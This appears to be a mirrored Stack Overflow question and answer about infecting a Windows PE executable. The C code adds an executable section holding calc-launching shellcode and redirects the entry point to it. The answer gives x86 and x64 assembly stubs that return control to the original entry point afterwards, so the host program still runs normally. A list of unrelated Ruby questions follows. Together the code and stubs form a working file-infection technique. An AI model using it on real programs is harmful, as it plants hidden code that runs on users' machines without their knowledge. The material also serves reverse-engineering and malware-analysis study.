草庐IT

c - 将入口点更改为PE文件中新添加的shellcode段后,如何恢复主进程?

coder 2024-06-14 原文

我试图通过在 PE 文件末尾添加一个额外的节头并在其中编写 shellcode 来进行 PE 感染。

我已经添加了额外的部分并在其中编写了 shellcode,并将原始入口点 (OEP) 更改为新添加的部分并且它执行得很好;我的意思是我的 shellcode 运行良好,但现在我想恢复主进程,为此我需要再次将修改后的入口点更改为 OEP。但是,我无法弄清楚。请告诉我是否有任何方法可以在执行 shellcode 后恢复主进程。

而且,我也试过这个blog ,但它也不起作用,因为作者编写了内联汇编代码并放置了一些占位符以在运行时恢复 OEP,这将动态嵌入到 shellcode 中。

我正在考虑编写一个包含JMP to_OEP 的shellcode。但是,我不确定它是否会起作用。

请建议我一些方法或提示,以便在执行 PE 文件中的 shellcode 后恢复进程。

代码:

#include <stdio.h>
#include <windows.h>
#include <stdbool.h>


// returns the DOS Header
PIMAGE_DOS_HEADER GetDosHeader(LPBYTE file) {
    return (PIMAGE_DOS_HEADER)file;
}

/*
* returns the PE header
*/
PIMAGE_NT_HEADERS GetPeHeader(LPBYTE file) {
    PIMAGE_DOS_HEADER pidh = GetDosHeader(file);

    return (PIMAGE_NT_HEADERS)((u_char*)pidh + pidh->e_lfanew);
}

/*
* returns the file header
*/
PIMAGE_FILE_HEADER GetFileHeader(LPBYTE file) {
    PIMAGE_NT_HEADERS pinh = GetPeHeader(file);

    return (PIMAGE_FILE_HEADER)&pinh->FileHeader;
}

/*
* returns the optional header
*/
PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPBYTE file) {
    PIMAGE_NT_HEADERS pinh = GetPeHeader(file);

    return (PIMAGE_OPTIONAL_HEADER)&pinh->OptionalHeader;
}

/*
* returns the first section's header
* AKA .text or the code section
*/
PIMAGE_SECTION_HEADER GetFirstSectionHeader(LPBYTE file) {
    PIMAGE_NT_HEADERS pinh = GetPeHeader(file);

    return (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pinh);
}

PIMAGE_SECTION_HEADER GetLastSectionHeader(LPBYTE file) {
    return (PIMAGE_SECTION_HEADER)(GetFirstSectionHeader(file) + (GetPeHeader(file)->FileHeader.NumberOfSections - 1));
}

DWORD align(DWORD size, DWORD align, DWORD addr) {
    if (!(size % align))
        return addr + size;
    return addr + (size / align + 1) * align;
}


bool AddSection(char *filepath, char *sectionName, DWORD sizeOfSection) {

    HANDLE hFile = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("[-] Cannot open %s\n", filepath);
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, NULL);

    if (!dwFileSize)
    {
        printf("[-] Could not get files size\n");
        CloseHandle(hFile);
        return 0;
    }

    HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);
    DWORD dw = GetLastError();
    if (!hMapping)
    {
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }

    LPBYTE pByte = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize);
    DWORD dw1 = GetLastError();
    if (!pByte)
    {
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return 0;
    }

    //check signature
    //pDosHeader = (PIMAGE_DOS_HEADER)lpFile;
    PIMAGE_DOS_HEADER dos = GetDosHeader(pByte);
    if (dos->e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("[-] DOS signature not found\n");
        UnmapViewOfFile(pByte);
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return 0;
    }
    PIMAGE_NT_HEADERS nt = GetPeHeader(pByte);
    PIMAGE_FILE_HEADER FH = (PIMAGE_FILE_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD));
    PIMAGE_OPTIONAL_HEADER OH = (PIMAGE_OPTIONAL_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER SH = (PIMAGE_SECTION_HEADER)(pByte + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS));

    ZeroMemory(&SH[FH->NumberOfSections], sizeof(IMAGE_SECTION_HEADER));
    CopyMemory(&SH[FH->NumberOfSections].Name, sectionName, 8);
    //We use 8 bytes for section name,cause it is the maximum allowed section name size

    //lets insert all the required information about our new PE section
    SH[FH->NumberOfSections].Misc.VirtualSize = align(sizeOfSection, OH->SectionAlignment, 0);

    SH[FH->NumberOfSections].VirtualAddress = align(SH[FH->NumberOfSections - 1].Misc.VirtualSize, OH->SectionAlignment, SH[FH->NumberOfSections - 1].VirtualAddress);

    SH[FH->NumberOfSections].SizeOfRawData = align(sizeOfSection, OH->FileAlignment, 0);

    SH[FH->NumberOfSections].PointerToRawData = align(SH[FH->NumberOfSections - 1].SizeOfRawData, OH->FileAlignment, SH[FH->NumberOfSections - 1].PointerToRawData);

    SH[FH->NumberOfSections].Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

    SetFilePointer(hFile, SH[FH->NumberOfSections].PointerToRawData + SH[FH->NumberOfSections].SizeOfRawData, NULL, FILE_BEGIN);

    //end the file right here,on the last section + it's own size
    SetEndOfFile(hFile);

    //now lets change the size of the image,to correspond to our modifications
    //by adding a new section,the image size is bigger now

    OH->SizeOfImage = SH[FH->NumberOfSections].VirtualAddress + SH[FH->NumberOfSections].Misc.VirtualSize;

    //and we added a new section,so we change the NOS too
    FH->NumberOfSections += 1;
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);

    //and finaly,we add all the modifications to the file
    WriteFile(hFile, pByte, dwFileSize, &dw, NULL);

    PIMAGE_SECTION_HEADER first = GetFirstSectionHeader(pByte);
    PIMAGE_SECTION_HEADER last = GetLastSectionHeader(pByte);

    SetFilePointer(hFile, last->PointerToRawData, NULL, FILE_BEGIN);

    // below shellcode will popup calc.exe
    char *str = 
        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
        "\x45\x81\x3e\x43\x72\x65\x61\x75"
        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
        "\x6c\x63\x89\xe2\x52\x52\x53\x53"
        "\x53\x53\x53\x53\x52\x53\xff\xd7";     

    // Original Entry Point (OEP)
    DWORD dwOEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;


    WriteFile(hFile, str, strlen(str), &dw, 0);


    printf("EOP:- %d - %d\n", dwOEP, last->PointerToRawData);

    nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress; //- last->PointerToRawData;
    CloseHandle(hFile);
    return TRUE;
}


void main()
{
    if (AddSection("C:\\Users\\xyz\\sample_hello.exe", ".TST", 400))
        printf("Section added!\n");
    else 
        printf("Error writting code!\n");
}

开发环境:

  • Windows 10
  • Visual Studio 2017(社区版)

最佳答案

对于 x86 你需要下一个 shellcode:

_shcode proc
    nop
    nop
    nop
    call @@0
    DD 0
@@0:
    mov eax,[esp]
    mov edx,[eax]
    sub [esp],edx
    ;------------
    ; your shell code here
    ;------------
    ret
_shcode endp

对于 x64 接下来:

shcode proc
    nop
    nop
    nop
    call @@0
    DD 0
@@0:
    mov rax,[rsp]
    movsxd rdx,dword ptr[rax]
    sub [rsp],rdx
    sub rsp,32
    ;------------
    ; your shell code here
    ;------------
    add rsp,32
    ret
shcode endp

此处放置您的 shell 代码 放置您实际的 shell 代码过程 - 例如您 "\x31\..\xd7"

这里的关键点 DD 0 字段在 shell 代码开始处的偏移量 8(在 x86x64 中)。

让你的 shell 代码在最终的 exe 中有 RVA(相对虚拟地址)。另一方面,AddressOfEntryPoint 是原始 exe 入口点的 rva。您必须将 RVA + 8 - AddressOfEntryPoint 写入 DD 0 字段。

  • 真的 - 让 exe 加载到 ImageBase

  • call @00 指令执行后,你的 shell 代码在堆栈中 将被推送返回地址 - call @@0 之后的下一个地址 - 这将是 ImageBase + RVA + 8

  • 所以 mov rax,[rsp] 之后 rax 将是 ImageBase + RVA + 8 和 这是原始 DD 0 的地址。

  • 下一个movsxd rdx,dword ptr[rax]读取到rdx RVA + 8 - AddressOfEntryPoint(记住这是我们存储的而不是 0,当 准备 shellcode)(在 x64 中我们使用签名扩展)。
  • 和最后的 sub [rsp],rdx 给出 (ImageBase + RVA + 8) - (RVA + 8 - AddressOfEntryPoint) = ImageBase + AddressOfEntryPoint
  • 所以 ImageBase + AddressOfEntryPoint 将位于 [rsp]
  • x64 需要保留 32 字节空间(堆栈已正确对齐 这一点),对于x86,这是不需要的
  • 执行你的shell代码
  • 和最后的 ret 将我们移动到 ImageBase + AddressOfEntryPoint - 到 原始入口点

让我们简单地为自己的 exe 测试一下。 x86/x64

的测试代码相同
extern "C"
{
    void __cdecl shcode(void*);
}

BOOL SimulateWriteSC(ULONG AddressOfEntryPoint, ULONG Rva, PVOID pvShcode)
{
    ULONG op;
    pvShcode = RtlOffsetToPointer(pvShcode, 8);

    if (VirtualProtect(pvShcode, 4, PAGE_EXECUTE_READWRITE, &op))
    {
        *((PULONG)pvShcode) = (Rva + 8) - AddressOfEntryPoint;
        VirtualProtect(pvShcode, 4, PAGE_EXECUTE_READWRITE, &op);

        return TRUE;
    }

    return FALSE;
}

void WINAPI ep(void* Peb)
{
    enum : LONG_PTR { tag = MAXLONG_PTR };
    if (Peb == (void*)tag)
    {
        MessageBoxW(0,0,L"Original Entry Called",0);
    }
    else
    {
        MessageBoxW(0,0,L"We in Shell Code",0);
        if (SimulateWriteSC(RtlImageNtHeader(&__ImageBase)->OptionalHeader.AddressOfEntryPoint, 
            RtlPointerToOffset(&__ImageBase, shcode), shcode))
        {
            shcode((void*)tag);
        }
    }
    ExitProcess(0);
}

此处 void WINAPI ep(void* Peb) 是 exe 的真正入口点(使用 /ENTRY:ep 链接器选项)。它使用单个参数调用 - 指向 PEB 的指针。 shcode 已经“写入”我们的 exe(我使用单独的 asm 文件 + masm (ml.exe))。只需要调整 DD 0 字段,这是我在 SimulateWriteSC 中做的,我在这里写 (Rva + 8) - AddressOfEntryPoint; where Rva = RtlPointerToOffset(&__ImageBase, shcode) 是我的 shell 代码的 rvaAddressOfEntryPoint = RtlImageNtHeader(&__ImageBase)->OptionalHeader.AddressOfEntryPoint - rva exe 入口点。所以我一开始就是这样描述的。然后我们调用 shellcode - shcode((void*)tag); - 如果一切正确 - 原始 exe 入口点 - ep 将使用传递的参数再次调用 ( (void*)tag 在具体情况下)。我们检测到这个特殊的标签参数并退出。测试正常

关于c - 将入口点更改为PE文件中新添加的shellcode段后,如何恢复主进程?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53922779/

有关c - 将入口点更改为PE文件中新添加的shellcode段后,如何恢复主进程?的更多相关文章

  1. ruby - 如何使用 Nokogiri 的 xpath 和 at_xpath 方法 - 2

    我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div

  2. ruby - 如何从 ruby​​ 中的字符串运行任意对象方法? - 2

    总的来说,我对ruby​​还比较陌生,我正在为我正在创建的对象编写一些rspec测试用例。许多测试用例都非常基础,我只是想确保正确填充和返回值。我想知道是否有办法使用循环结构来执行此操作。不必为我要测试的每个方法都设置一个assertEquals。例如:describeitem,"TestingtheItem"doit"willhaveanullvaluetostart"doitem=Item.new#HereIcoulddotheitem.name.shouldbe_nil#thenIcoulddoitem.category.shouldbe_nilendend但我想要一些方法来使用

  3. ruby - 使用 RubyZip 生成 ZIP 文件时设置压缩级别 - 2

    我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看ruby​​zip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d

  4. ruby - 其他文件中的 Rake 任务 - 2

    我试图在一个项目中使用rake,如果我把所有东西都放到Rakefile中,它会很大并且很难读取/找到东西,所以我试着将每个命名空间放在lib/rake中它自己的文件中,我添加了这个到我的rake文件的顶部:Dir['#{File.dirname(__FILE__)}/lib/rake/*.rake'].map{|f|requiref}它加载文件没问题,但没有任务。我现在只有一个.rake文件作为测试,名为“servers.rake”,它看起来像这样:namespace:serverdotask:testdoputs"test"endend所以当我运行rakeserver:testid时

  5. ruby-on-rails - 在 Rails 中将文件大小字符串转换为等效千字节 - 2

    我的目标是转换表单输入,例如“100兆字节”或“1GB”,并将其转换为我可以存储在数据库中的文件大小(以千字节为单位)。目前,我有这个:defquota_convert@regex=/([0-9]+)(.*)s/@sizes=%w{kilobytemegabytegigabyte}m=self.quota.match(@regex)if@sizes.include?m[2]eval("self.quota=#{m[1]}.#{m[2]}")endend这有效,但前提是输入是倍数(“gigabytes”,而不是“gigabyte”)并且由于使用了eval看起来疯狂不安全。所以,功能正常,

  6. ruby-on-rails - Ruby on Rails 迁移,将表更改为 MyISAM - 2

    如何正确创建Rails迁移,以便将表更改为MySQL中的MyISAM?目前是InnoDB。运行原始执行语句会更改表,但它不会更新db/schema.rb,因此当在测试环境中重新创建表时,它会返回到InnoDB并且我的全文搜索失败。我如何着手更改/添加迁移,以便将现有表修改为MyISAM并更新schema.rb,以便我的数据库和相应的测试数据库得到相应更新? 最佳答案 我没有找到执行此操作的好方法。您可以像有人建议的那样更改您的schema.rb,然后运行:rakedb:schema:load,但是,这将覆盖您的数据。我的做法是(假设

  7. python - 如何使用 Ruby 或 Python 创建一系列高音调和低音调的蜂鸣声? - 2

    关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。

  8. ruby - 我需要将 Bundler 本身添加到 Gemfile 中吗? - 2

    当我使用Bundler时,是否需要在我的Gemfile中将其列为依赖项?毕竟,我的代码中有些地方需要它。例如,当我进行Bundler设置时:require"bundler/setup" 最佳答案 没有。您可以尝试,但首先您必须用鞋带将自己抬离地面。 关于ruby-我需要将Bundler本身添加到Gemfile中吗?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/4758609/

  9. ruby-on-rails - Rails 3 中的多个路由文件 - 2

    Rails2.3可以选择随时使用RouteSet#add_configuration_file添加更多路由。是否可以在Rails3项目中做同样的事情? 最佳答案 在config/application.rb中:config.paths.config.routes在Rails3.2(也可能是Rails3.1)中,使用:config.paths["config/routes"] 关于ruby-on-rails-Rails3中的多个路由文件,我们在StackOverflow上找到一个类似的问题

  10. ruby-on-rails - 如何验证 update_all 是否实际在 Rails 中更新 - 2

    给定这段代码defcreate@upgrades=User.update_all(["role=?","upgraded"],:id=>params[:upgrade])redirect_toadmin_upgrades_path,:notice=>"Successfullyupgradeduser."end我如何在该操作中实际验证它们是否已保存或未重定向到适当的页面和消息? 最佳答案 在Rails3中,update_all不返回任何有意义的信息,除了已更新的记录数(这可能取决于您的DBMS是否返回该信息)。http://ar.ru

随机推荐